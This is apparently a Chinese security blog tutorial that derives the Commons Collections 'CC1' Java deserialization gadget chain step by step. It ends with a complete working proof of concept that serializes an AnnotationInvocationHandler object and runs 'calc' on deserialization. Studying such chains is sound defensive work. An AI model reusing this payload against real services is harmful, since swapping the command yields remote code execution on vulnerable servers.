java反序列化commons-collections链1

文章目录

  • 利用条件:commons-collections 3.1-3.2.1 jdk<8u71
  • 反序列化入口类的条件:可序列化,重写readObject方法,接收任意类作为参数

CC1

配环境的路上差点猝死,第一次弄真累啊,傻逼Oracle官网,给的版本对应关系都是乱的,最后猜路径https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe下到安装正版

注意这一步安装的路径不能跟之前的路径相同,否则会将之前文件夹的内容覆盖

image-20250508212050277

随后在项目结构中添加新SDK为需要的低版本jdk,并在源路径中加入src文件夹(src文件夹需要加入openjdk的sun文件夹,具体内容可自行Google

image-20250508213324583

接下来新建一个maven项目,并在pom.xml中加入依赖,加入后一般会自动下载依赖,或者用命令手动下载

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

漏洞点出在cc依赖的Transformer接口,它的一个实现类InvokerTansformer.java可以实现反射对任意类的调用

image-20250508224307066

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}
//通过transform方法实现对任意方法的调用

接下来往前找,看一看什么方法调用了transform

在TransformedMap类中,checkSetvalue方法调用了transform

 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

需要valueTransformer的值可控为invoke那个类

所以看构造方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

是protected,就看它自己哪些类调用了,在同一个文件中找到decorate方法,假设在这里我们可以完成类的传入

     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
已经知道了构造函数怎么传参就可以尝试传入我们要的危险类
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
TransformedMap.decorateTransform(map,null,invokerTransformer);

继续看哪些类调用了checkSetValue方法,发现class类的setValue方法有所调用

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

那么就可以利用MapEntry的setValue方法调用checkSetValue方法,进而调用transform方法。

接下来思考怎么调用setValue方法,了解到java的hashmap是可以通过entry来访问的,所以可以通过循环调用MapEntry.setValue

  Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }

到这里我们的链子又更长了,可以通过entry.setValue执行任意代码,我们接着向前找,如果有一个类的readObject方法调用setValue,并且参数可控的话,那岂不是就一步到位了吗

你别说,还真有那么一个类AnnotationInvocationHandler

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

membervalue可以通过构造函数传入,但是类名没有方法作用域,那就是default方法,default方法默认只能在当前包中查看,所以需要通过反射拿来类使用

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

同样构造方法也是default范围,通过反射调用

   Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor=c.getDeclaredConstructor(Override.class,Map.class);
        annotationConstructor.setAccessible(true);
        Object o=annotationConstructor.newInstance(Override.class,transformedMap);

接下来又陷入了困难,一个是Runtime不可以序列化,需要反射调用,一个是setValue我们需要控制参数,而在readObject里显然不太好控制,另外一个是在执行setValue之前需要绕过两个if判断,我们一个一个解决

反射调用类Runtime,因为虽然Runtime不可序列化,但是它的Class(类的原型)可以序列化,我们就可以利用Class这个东西搞出来一个Runtime
Class c=Runtime.class;
Method getruntimeMethod=c.getMethod("getRuntime",null);
Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
Method execMethod =c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");

并改成用InvokerTransformer方法写的反射
Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

注意观察后一个类都是对前一个类的调用,有一个类ChainedTransformer恰好可以实现这样的功能
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

利用它再改造一下
Transformer[] transformers=new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

到这里我们不考虑绕过if判断,其实就已经打通了整条链子,从后向前回顾一下。

用ChainedTransformer封装反射的流程,只要执行ChainedTransformer.transformer()就可以调用危险函数,HashMap的setvalue方法中用了checksetvalue方法,而checksetvalue方法又调用了transformer方法,所以将ChainedTransformer放进HashMap里,调用它的setvalue方法就可以走到链子的终点,再向前走,AnnotationInvocationHandler的readObject方法调用了setvalue方法,所以将HashMap放进AnnotationInvocationHandler里,在反序列化时自动调用setvalue方法,从而走到链子的终点

public class CC1Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {

        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

但是到这里我们还是不能打通,因为我们还剩下两个问题,一个是绕过if判断,一个是更改value的值,先下个断点跟到readObject里,看看它的判断逻辑

image-20250512163038782

type是你传入的注解类,第一个if判断做一件事,从你的hashmap里拿出key的值,并查找你的注解中有没有这个值,想绕过很简单,我们找一找注解里有什么值,并将它写到hashmap里即可,看一看之前的override注解

image-20250512163436326

啥也没有,换一个注解Target

image-20250512163524322

有value可用,所以我们调整一下之前的代码

map.put("value","value");

继续跟进,发现第二个if似乎不用绕,自己就过去了,那我们还剩下最后一个问题,就是setValue函数的参数必须可控,才能传入Runtime.class继续执行

这个时候用到一个神奇的类,

public Object transform(Object input) {
    return iConstant;
}

不管传入什么,它的transform方法都能返回一个固定的类,并且这个类还是可控的,冥冥之中自有天意啊,在chained中做一个简单的调整

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

成功打通 !

image-20250512164129528

完整代码如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});


        //反射调用Runtime的执行方法
//        Class c=Runtime.class;
//        Method getruntimeMethod=c.getMethod("getRuntime",null);
//        Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
//        Method execMethod =c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");
//
         //利用Invoke类反射执行Runtime
//        Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);


        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);

        //反射调用入口点构造函数
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationConstructor.setAccessible(true);
        Object o=annotationConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }




    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }

}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值